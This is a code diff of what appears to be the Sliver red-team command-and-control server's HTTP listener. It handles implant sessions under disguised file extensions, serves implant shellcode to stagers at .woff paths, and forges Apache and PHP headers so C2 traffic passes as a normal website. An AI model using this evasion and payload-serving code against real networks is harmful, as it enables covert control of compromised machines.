-	router.ServeHTTP(rr, req)
-	if status := rr.Code; status != http.StatusNotFound {
-		t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
-	}
-
-	// Invalid OTP code
-	for i := 0; i < 100; i++ {
-		rr = httptest.NewRecorder()
-		req, _ = http.NewRequest("GET", fmt.Sprintf("/test/foo.txt?aa=%d", insecureRand.Intn(99999999)), nil)
-		router.ServeHTTP(rr, req)
-		if status := rr.Code; status != http.StatusNotFound {
-			t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
-		}
-	}
-
-	// Valid OTP code
-	client := implantTransports.SliverHTTPClient{}
-	baseURL := &url.URL{
-		Scheme: "http",
-		Host:   "127.0.0.1:8888",
-		Path:   "/test/foo.txt",
-	}
-	nonce, _ := implantEncoders.RandomEncoder()
-	testURL := client.NonceQueryArgument(baseURL, nonce)
-
-	now := time.Now().UTC()
-	opts := totp.ValidateOpts{
-		Digits:    8,
-		Algorithm: otp.AlgorithmSHA256,
-		Period:    uint(30),
-		Skew:      uint(1),
-	}
-	secret, _ := cryptography.TOTPServerSecret()
-	code, _ := totp.GenerateCodeCustom(secret, now, opts)
-
-	testURL = client.OTPQueryArgument(baseURL, code)
-	rr = httptest.NewRecorder()
-	req, _ = http.NewRequest("GET", testURL.String(), nil)
-	router.ServeHTTP(rr, req)
-	if status := rr.Code; status != http.StatusOK {
-		t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusOK)
-	}
-
-}
-
-func TestGetOTPFromURL(t *testing.T) {
-	client := implantTransports.SliverHTTPClient{}
-
-	for i := 0; i < 100; i++ {
-		baseURL := &url.URL{
-			Scheme: "http",
-			Host:   "127.0.0.1:8888",
-			Path:   "/test/foo.txt",
-		}
-		value := fmt.Sprintf("%d", insecureRand.Intn(99999999))
-		testURL := client.OTPQueryArgument(baseURL, value)
-		urlValue, err := getOTPFromURL(testURL)
-		if err != nil {
-			t.Error(err)
-		}
-		if urlValue != value {
-			t.Fatalf("Mismatched OTP values %s (%s != %s)", testURL.String(), value, urlValue)
-		}
-	}
-}
-
-func TestGetNonceFromURL(t *testing.T) {
-	client := implantTransports.SliverHTTPClient{}
-	for i := 0; i < 100; i++ {
-		baseURL := &url.URL{
-			Scheme: "http",
-			Host:   "127.0.0.1:8888",
-			Path:   "/test/foo.txt",
-		}
-		nonce, _ := implantEncoders.RandomEncoder()
-		testURL := client.NonceQueryArgument(baseURL, nonce)
-		urlNonce, err := getNonceFromURL(testURL)
-		if err != nil {
-			t.Error(err)
-		}
-		if urlNonce != nonce {
-			t.Fatalf("Mismatched encoder nonces %s (%d != %d)", testURL.String(), nonce, urlNonce)
-		}
-	}
-}

server/c2/jobs.go

@@ -223,8 +223,8 @@ func StartHTTPListenerJob(conf *HTTPServerConfig) (*core.Job, error) {
 
 	go func() {
 		var err error
-		if server.ServerConf.Secure {
-			if server.ServerConf.ACME {
+		if server.Conf.Secure {
+			if server.Conf.ACME {
 				err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
 			} else {
 				err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
@@ -315,8 +315,8 @@ func StartHTTPStagerListenerJob(conf *HTTPServerConfig, data []byte) (*core.Job,
 
 	go func() {
 		var err error
-		if server.ServerConf.Secure {
-			if server.ServerConf.ACME {
+		if server.Conf.Secure {
+			if server.Conf.ACME {
 				err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
 			} else {
 				err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)

server/c2/tcp-http.go

@@ -19,7 +19,6 @@ package c2
 */
 
 import (
-	"bytes"
 	"context"
 	"crypto/rand"
 	"crypto/sha256"
@@ -28,25 +27,19 @@ import (
 	"encoding/base64"
 	"encoding/hex"
 	"encoding/pem"
-	"errors"
 	"fmt"
-	"io"
 	"io/ioutil"
 	insecureRand "math/rand"
-	"mime"
 	"net"
 	"net/http"
-	"net/url"
 	"path/filepath"
 	"strconv"
 	"strings"
 	"sync"
 	"time"
-	"unicode"
 
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/server/certs"
-	"github.com/bishopfox/sliver/server/configs"
 	"github.com/bishopfox/sliver/server/core"
 	"github.com/bishopfox/sliver/server/cryptography"
 	sliverHandlers "github.com/bishopfox/sliver/server/handlers"
@@ -61,26 +54,14 @@ import (
 var (
 	httpLog   = log.NamedLogger("c2", "http")
 	accessLog = log.NamedLogger("c2", "http-access")
-
-	ErrMissingNonce   = errors.New("nonce not found in request")
-	ErrMissingOTP     = errors.New("otp code not found in request")
-	ErrInvalidEncoder = errors.New("invalid request encoder")
-	ErrDecodeFailed   = errors.New("failed to decode request")
-	ErrReplayAttack   = errors.New("replay attack detected")
 )
 
 const (
-	DefaultMaxBodyLength   = 2 * 1024 * 1024 * 1024 // 2Gb
-	DefaultHTTPTimeout     = time.Minute * 5
-	DefaultLongPollTimeout = float32(20)
-	DefaultLongPollJitter  = float32(20)
-	minPollTimeout         = time.Second * 5
+	defaultHTTPTimeout = time.Second * 60
+	pollTimeout        = defaultHTTPTimeout - 5
+	sessionCookieName  = "PHPSESSID"
 )
 
-func init() {
-	insecureRand.Seed(time.Now().UnixNano())
-}
-
 // HTTPSession - Holds data related to a sliver c2 session
 type HTTPSession struct {
 	ID      string
@@ -145,50 +126,33 @@ type HTTPServerConfig struct {
 	Cert    []byte
 	Key     []byte
 	ACME    bool
-
-	MaxRequestLength int
-
-	EnforceOTP      bool
-	LongPollTimeout float32
-	LongPollJitter  float32
 }
 
 // SliverHTTPC2 - Holds refs to all the C2 objects
 type SliverHTTPC2 struct {
 	HTTPServer   *http.Server
-	ServerConf   *HTTPServerConfig // Server config (user args)
+	Conf         *HTTPServerConfig
 	HTTPSessions *HTTPSessions
 	SliverStage  []byte // Sliver shellcode to serve during staging process
 	Cleanup      func()
 
-	c2Config      *configs.HTTPC2Config // C2 config (from config file)
-	serverVersion string
+	server    string
+	poweredBy string
 }
 
 func (s *SliverHTTPC2) getServerHeader() string {
-	if s.serverVersion == "" {
-		switch insecureRand.Intn(1) {
-		case 0:
-			s.serverVersion = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
-		default:
-			s.serverVersion = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
-		}
+	if s.server == "" {
+		s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
 	}
-	return s.serverVersion
+	return s.server
 }
 
-func (s *SliverHTTPC2) getCookieName() string {
-	cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
-	index := insecureRand.Intn(len(cookies))
-	return cookies[index]
-}
-
-func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
-	if s.c2Config != nil {
-		return s.c2Config
+func (s *SliverHTTPC2) getPoweredByHeader() string {
+	if s.poweredBy == "" {
+		s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
+			insecureRand.Intn(3), insecureRand.Intn(17))
 	}
-	s.c2Config = configs.GetHTTPC2Config()
-	return s.c2Config
+	return s.poweredBy
 }
 
 // StartHTTPSListener - Start an HTTP(S) listener, this can be used to start both
@@ -198,7 +162,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
 	StartPivotListener()
 	httpLog.Infof("Starting https listener on '%s'", conf.Addr)
 	server := &SliverHTTPC2{
-		ServerConf: conf,
+		Conf: conf,
 		HTTPSessions: &HTTPSessions{
 			active: &map[string]*HTTPSession{},
 			mutex:  &sync.RWMutex{},
@@ -207,9 +171,9 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
 	server.HTTPServer = &http.Server{
 		Addr:         conf.Addr,
 		Handler:      server.router(),
-		WriteTimeout: DefaultHTTPTimeout,
-		ReadTimeout:  DefaultHTTPTimeout,
-		IdleTimeout:  DefaultHTTPTimeout,
+		WriteTimeout: defaultHTTPTimeout,
+		ReadTimeout:  defaultHTTPTimeout,
+		IdleTimeout:  defaultHTTPTimeout,
 		TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
 	}
 	if conf.ACME {
@@ -231,7 +195,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
 			defer cancelHTTPS()
 			server.HTTPServer.Shutdown(ctx)
 			if err := acmeHTTPServer.Shutdown(ctx); err != nil {
-				httpLog.Warn("Failed to shutdown https server")
+				httpLog.Warnf("Failed to shutdown https server")
 			}
 		}
 	} else {
@@ -241,11 +205,13 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
 			defer cancel()
 			server.HTTPServer.Shutdown(ctx)
 			if err := server.HTTPServer.Shutdown(ctx); err != nil {
-				httpLog.Warn("Failed to shutdown https server")
+				httpLog.Warnf("Failed to shutdown https server")
 			}
 		}
 	}
-	_, _, err := certs.C2ServerGetRSACertificate(conf.Domain)
+
+	c, k, err := certs.C2ServerGetRSACertificate(conf.Domain)
+	httpLog.Infof("C2-Server: %v %v %v", c, k, err)
 	if err == certs.ErrCertDoesNotExist {
 		httpLog.Infof("Generating C2 server certificate ...")
 		_, _, err := certs.C2ServerGenerateRSACertificate(conf.Domain)
@@ -254,86 +220,62 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
 			return nil, err
 		}
 	}
-
 	return server, nil
 }
 
 func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
 	if conf.Cert == nil || conf.Key == nil {
 		var err error
-		if conf.Domain != "" {
-			conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
-		} else {
-			conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
-		}
+		conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
 		if err != nil {
-			httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
+			httpLog.Warnf("Failed to generate self-signed tls cert/key pair %v", err)
 			return nil
 		}
 	}
 	cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
 	if err != nil {
-		httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
+		httpLog.Warnf("Failed to parse tls cert/key pair %v", err)
 		return nil
 	}
 	return &tls.Config{
-		Certificates: []tls.Certificate{cert},
-		MinVersion:   tls.VersionTLS12,
+		Certificates:             []tls.Certificate{cert},
+		MinVersion:               tls.VersionTLS12,
+		CurvePreferences:         []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
+		PreferServerCipherSuites: true,
+		CipherSuites: []uint16{
+			tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
+			tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
+			tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
+			tls.TLS_RSA_WITH_AES_256_CBC_SHA,
+		},
 	}
 }
 
 func (s *SliverHTTPC2) router() *mux.Router {
 	router := mux.NewRouter()
-	c2Config := s.LoadC2Config()
-	if s.ServerConf.MaxRequestLength < 1024 {
-		s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
-	}
-	if s.ServerConf.LongPollTimeout == 0 {
-		s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
-		s.ServerConf.LongPollJitter = DefaultLongPollJitter
-	}
 
-	// Key Exchange Handler
-	router.HandleFunc(
-		fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.KeyExchangeFileExt),
-		s.rsaKeyHandler,
-	).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
-
-	// Start Session Handler
-	router.HandleFunc(
-		fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
-		s.startSessionHandler,
-	).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
-
-	// Session Handler
-	router.HandleFunc(
-		fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
-		s.sessionHandler,
-	).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
-
-	// Poll Handler
-	router.HandleFunc(
-		fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
-		s.pollHandler,
-	).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
-
-	// Close Handler
-	router.HandleFunc(
-		fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
-		s.closeHandler,
-	).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
+	// Procedural C2
+	// ===============
+	// .txt = rsakey
+	// .jsp = start
+	// .php = session
+	//  .js = poll
+	// .png = stop
+	// .woff = sliver shellcode
 
+	router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
+	router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
+	router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
+	router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
+	router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
 	// Can't force the user agent on the stager payload
 	// Request from msf stager payload will look like:
 	// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
-	router.HandleFunc(
-		fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
-		s.stagerHander,
-	).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
+	router.HandleFunc("/{rpath:.*\\.woff[/]{0,1}.*$}", s.stagerHander).Methods(http.MethodGet)
 
 	// Request does not match the C2 profile so we pass it to the static content or 404 handler
-	if s.ServerConf.Website != "" {
-		httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
+	if s.Conf.Website != "" {
+		httpLog.Infof("Serving static content from website %v", s.Conf.Website)
 		router.HandleFunc("/{rpath:.*}", s.websiteContentHandler).Methods(http.MethodGet)
 	} else {
 		// 404 Handler - Just 404 on every path that doesn't match another handler
@@ -348,86 +290,19 @@ func (s *SliverHTTPC2) router() *mux.Router {
 }
 
 // This filters requests that do not have a valid nonce
-func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
-	nonce, err := getNonceFromURL(req.URL)
-	if err != nil {
-		httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
-		return false // NaN
-	}
-	return true
-}
-
-func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
-	if s.ServerConf.EnforceOTP {
-		httpLog.Debug("Checking for valid OTP code ...")
-		otpCode, err := getOTPFromURL(req.URL)
-		if err != nil {
-			httpLog.Warnf("Failed to validate OTP %s", err)
-			return false
-		}
-		valid, err := cryptography.ValidateTOTP(otpCode)
-		if err != nil {
-			httpLog.Warnf("Failed to validate OTP %s", err)
-			return false
-		}
-		if valid {
-			return true
-		}
-		return false
-	} else {
-		httpLog.Debug("OTP enforcement is disabled")
-		return true // OTP enforcement is disabled
-	}
-}
-
-func getNonceFromURL(reqURL *url.URL) (int, error) {
-	qNonce := ""
-	for arg, values := range reqURL.Query() {
-		if len(arg) == 1 {
-			qNonce = digitsOnly(values[0])
-			break
-		}
-	}
-	if qNonce == "" {
-		httpLog.Warn("Nonce not found in request")
-		return 0, ErrMissingNonce
-	}
+func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
+	qNonce := req.URL.Query().Get("_")
 	nonce, err := strconv.Atoi(qNonce)
 	if err != nil {
-		httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
-		return 0, err
+		httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
+		return false // NaN
 	}
 	_, _, err = encoders.EncoderFromNonce(nonce)
 	if err != nil {
-		httpLog.Warnf("Invalid nonce (%s)", err)
-		return 0, err
+		httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
+		return false // Not a valid encoder
 	}
-	return nonce, nil
-}
-
-func getOTPFromURL(reqURL *url.URL) (string, error) {
-	otpCode := ""
-	for arg, values := range reqURL.Query() {
-		if len(arg) == 2 {
-			otpCode = digitsOnly(values[0])
-			break
-		}
-	}
-	if otpCode == "" {
-		httpLog.Warn("OTP not found in request")
-		return "", ErrMissingNonce
-	}
-	return otpCode, nil
-}
-
-func digitsOnly(value string) string {
-	var buf bytes.Buffer
-	for _, char := range value {
-		if unicode.IsDigit(char) {
-			buf.WriteRune(char)
-		}
-	}
-	return buf.String()
+	return true
 }
 
 func loggingMiddleware(next http.Handler) http.Handler {
@@ -441,36 +316,34 @@ func loggingMiddleware(next http.Handler) http.Handler {
 func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
 	return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
 		resp.Header().Set("Server", s.getServerHeader())
+		resp.Header().Set("X-Powered-By", s.getPoweredByHeader())
 		resp.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
-		if resp.Header().Get("Content-type") == "" {
-			contentType := mime.TypeByExtension(req.URL.Path)
-			if contentType != "" {
-				resp.Header().Set("Content-type", contentType)
-			} else {
-				// We add a few more common mime types that aren't detected by
-				// the stdlib mime library
-				switch uri := req.URL.Path; {
-				case strings.HasSuffix(uri, ".jsp"):
-					fallthrough
-				case strings.HasSuffix(uri, ".phtml"):
-					fallthrough
-				case strings.HasSuffix(uri, ".php"):
-					resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
-				default:
-					resp.Header().Set("Content-type", "application/octet-stream")
-				}
-			}
+
+		switch uri := req.URL.Path; {
+		case strings.HasSuffix(uri, ".txt"):
+			resp.Header().Set("Content-type", "text/plain; charset=utf-8")
+		case strings.HasSuffix(uri, ".css"):
+			resp.Header().Set("Content-type", "text/css; charset=utf-8")
+		case strings.HasSuffix(uri, ".php"):
+			resp.Header().Set("Content-type", "text/html; charset=utf-8")
+		case strings.HasSuffix(uri, ".js"):
+			resp.Header().Set("Content-type", "text/javascript; charset=utf-8")
+		case strings.HasSuffix(uri, ".png"):
+			resp.Header().Set("Content-type", "image/png")
+		default:
+			resp.Header().Set("Content-type", "application/octet-stream")
 		}
+
 		next.ServeHTTP(resp, req)
 	})
 }
 
 func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
-	contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
+	httpLog.Infof("Request for site %v -> %s", s.Conf.Website, req.RequestURI)
+	contentType, content, err := website.GetContent(s.Conf.Website, req.RequestURI)
 	if err != nil {
 		httpLog.Infof("No website content for %s", req.RequestURI)
-		resp.WriteHeader(http.StatusNotFound) // No content for this path
+		resp.WriteHeader(404) // No content for this path
 		return
 	}
 	resp.Header().Set("Content-type", contentType)
@@ -478,19 +351,17 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
 }
 
 func default404Handler(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Debugf("[404] No match for %s", req.RequestURI)
-	resp.WriteHeader(http.StatusNotFound)
-	resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
+	resp.WriteHeader(404)
 }
 
 // [ HTTP Handlers ] ---------------------------------------------------------------
 
 func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Debug("Public key request")
-	nonce, _ := getNonceFromURL(req.URL)
-	certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
+	qNonce := req.URL.Query().Get("_")
+	nonce, err := strconv.Atoi(qNonce)
+	certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
 	if err != nil {
-		httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.ServerConf.Domain, err)
+		httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
 	}
 	_, encoder, err := encoders.EncoderFromNonce(nonce)
 	if err != nil {
@@ -500,13 +371,12 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
 }
 
 func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Debug("Start http session request")
 
 	// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
-	publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
+	publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
 	if err != nil {
-		httpLog.Warn("Failed to fetch rsa private key")
-		resp.WriteHeader(http.StatusNotFound)
+		httpLog.Info("Failed to fetch rsa private key")
+		resp.WriteHeader(404)
 		return
 	}
 
@@ -516,29 +386,25 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
 	privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
 	privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
 
-	nonce, _ := getNonceFromURL(req.URL)
+	nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
 	_, encoder, err := encoders.EncoderFromNonce(nonce)
 	if err != nil {
-		httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
-		resp.WriteHeader(http.StatusNotFound)
+		httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
+		resp.WriteHeader(404)
 		return
 	}
-	body, err := ioutil.ReadAll(req.Body)
-	if err != nil {
-		httpLog.Errorf("Failed to read body %s", err)
-		resp.WriteHeader(http.StatusNotFound)
-	}
+	body, _ := ioutil.ReadAll(req.Body)
 	data, err := encoder.Decode(body)
 	if err != nil {
 		httpLog.Errorf("Failed to decode body %s", err)
-		resp.WriteHeader(http.StatusNotFound)
+		resp.WriteHeader(404)
 		return
 	}
 
 	sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
 	if err != nil {
-		httpLog.Error("RSA decryption failed")
-		resp.WriteHeader(http.StatusNotFound)
+		httpLog.Info("RSA decryption failed")
+		resp.WriteHeader(404)
 		return
 	}
 	sessionInit := &sliverpb.HTTPSessionInit{}
@@ -550,7 +416,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
 		ID:            core.NextSessionID(),
 		Transport:     "http(s)",
 		RemoteAddress: getRemoteAddr(req),
-		Send:          make(chan *sliverpb.Envelope),
+		Send:          make(chan *sliverpb.Envelope, 16),
 		RespMutex:     &sync.RWMutex{},
 		Resp:          map[uint64]chan *sliverpb.Envelope{},
 	})
@@ -561,31 +427,52 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
 	ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, []byte(httpSession.ID))
 	if err != nil {
 		httpLog.Info("Failed to encrypt session identifier")
-		resp.WriteHeader(http.StatusNotFound)
+		resp.WriteHeader(404)
 		return
 	}
 	http.SetCookie(resp, &http.Cookie{
-		Domain:   s.ServerConf.Domain,
-		Name:     s.getCookieName(),
+		Domain:   s.Conf.Domain,
+		Name:     sessionCookieName,
 		Value:    httpSession.ID,
-		Secure:   false,
+		Secure:   true,
 		HttpOnly: true,
 	})
 	resp.Write(encoder.Encode(ciphertext))
 }
 
 func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Debug("Session request")
+
 	httpSession := s.getHTTPSession(req)
 	if httpSession == nil {
 		httpLog.Infof("No session with id %#v", httpSession.ID)
-		resp.WriteHeader(http.StatusForbidden)
+		resp.WriteHeader(403)
 		return
 	}
 
-	plaintext, err := s.readReqBody(httpSession, resp, req)
+	nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
+	_, encoder, err := encoders.EncoderFromNonce(nonce)
 	if err != nil {
-		httpLog.Warnf("Failed to decode request body: %s", err)
+		httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
+		resp.WriteHeader(404)
+		return
+	}
+	body, _ := ioutil.ReadAll(req.Body)
+	data, err := encoder.Decode(body)
+	if err != nil {
+		httpLog.Errorf("Failed to decode body %s", err)
+		resp.WriteHeader(404)
+		return
+	}
+
+	if httpSession.isReplayAttack(data) {
+		httpLog.Warn("Replay attack detected")
+		resp.WriteHeader(404)
+		return
+	}
+	plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
+	if err != nil {
+		httpLog.Warnf("GCM decryption failed %v", err)
+		resp.WriteHeader(404)
 		return
 	}
 	envelope := &sliverpb.Envelope{}
@@ -601,134 +488,81 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
 	} else if handler, ok := handlers[envelope.Type]; ok {
 		handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
 	}
-	resp.WriteHeader(http.StatusAccepted)
+	resp.WriteHeader(200)
+	// TODO: Return random data?
 }
 
 func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Debug("Poll request")
 	httpSession := s.getHTTPSession(req)
 	if httpSession == nil {
-		httpLog.Warnf("No session with id %#v", httpSession.ID)
-		resp.WriteHeader(http.StatusForbidden)
+		httpLog.Infof("No session with id %#v", httpSession.ID)
+		resp.WriteHeader(403)
 		return
 	}
 
 	// We already know we have a valid nonce because of the middleware filter
-	nonce, _ := getNonceFromURL(req.URL)
+	nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
 	_, encoder, _ := encoders.EncoderFromNonce(nonce)
 	select {
 	case envelope := <-httpSession.Session.Send:
-		resp.WriteHeader(http.StatusOK)
+		resp.WriteHeader(200)
 		envelopeData, _ := proto.Marshal(envelope)
-		ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
-		if err != nil {
-			httpLog.Errorf("Failed to encrypt message %s", err)
-			ciphertext = []byte{}
-		}
-		resp.Write(encoder.Encode(ciphertext))
-	case <-time.After(s.getPollTimeout()):
+		data, _ := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
+		resp.Write(encoder.Encode(data))
+	case <-time.After(pollTimeout):
 		httpLog.Debug("Poll time out")
-		resp.Header().Set("Etag", s.randomEtag())
-		resp.WriteHeader(http.StatusNoContent)
+		resp.WriteHeader(201)
 		resp.Write([]byte{})
 	}
 }
 
-func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
-	nonce, _ := getNonceFromURL(req.URL)
-	_, encoder, err := encoders.EncoderFromNonce(nonce)
-	if err != nil {
-		httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
-		resp.WriteHeader(http.StatusNotFound)
-		return nil, ErrInvalidEncoder
-	}
-
-	body, err := ioutil.ReadAll(&io.LimitedReader{
-		R: req.Body,
-		N: int64(s.ServerConf.MaxRequestLength),
-	})
-	if err != nil {
-		httpLog.Warnf("Failed to read request body %s", err)
-		return nil, err
-	}
-
-	data, err := encoder.Decode(body)
-	if err != nil {
-		httpLog.Warnf("Failed to decode body %s", err)
-		resp.WriteHeader(http.StatusNotFound)
-		return nil, ErrDecodeFailed
-	}
-
-	if httpSession.isReplayAttack(data) {
-		httpLog.Warn("Replay attack detected")
-		resp.WriteHeader(http.StatusNotFound)
-		return nil, ErrReplayAttack
-	}
-	plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
-	return plaintext, err
-}
-
-func (s *SliverHTTPC2) getPollTimeout() time.Duration {
-	if s.ServerConf.LongPollJitter < 0 {
-		s.ServerConf.LongPollJitter = 0
-	}
-	min := s.ServerConf.LongPollTimeout
-	max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
-	timeout := min + insecureRand.Float32()*(max-min)
-	pollTimeout := time.Duration(timeout) * time.Second
-	if pollTimeout < minPollTimeout {
-		httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
-		pollTimeout = minPollTimeout
-	}
-	return pollTimeout
-}
-
-func (s *SliverHTTPC2) randomEtag() string {
-	buf := make([]byte, 16)
-	rand.Read(buf)
-	return hex.EncodeToString(buf[:])
-}
-
-func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Debug("Close request")
+func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request) {
 	httpSession := s.getHTTPSession(req)
 	if httpSession == nil {
 		httpLog.Infof("No session with id %#v", httpSession.ID)
-		resp.WriteHeader(http.StatusForbidden)
+		resp.WriteHeader(403)
 		return
 	}
 
-	_, err := s.readReqBody(httpSession, resp, req)
+	nonce := []byte(req.URL.Query().Get("nonce"))
+	if httpSession.isReplayAttack(nonce) {
+		httpLog.Warn("Replay attack detected")
+		resp.WriteHeader(404)
+		return
+	}
+	_, err := cryptography.GCMDecrypt(httpSession.Key, nonce)
 	if err != nil {
-		httpLog.Errorf("Failed to read request body %s", err)
-		resp.WriteHeader(http.StatusForbidden)
+		httpLog.Warnf("GCM decryption failed %v", err)
+		resp.WriteHeader(404)
 		return
 	}
 
 	core.Sessions.Remove(httpSession.Session.ID)
 	s.HTTPSessions.Remove(httpSession.ID)
-	resp.WriteHeader(http.StatusAccepted)
+	resp.WriteHeader(200)
 }
 
 // stagerHander - Serves the sliver shellcode to the stager requesting it
 func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
-	httpLog.Debug("Stager request")
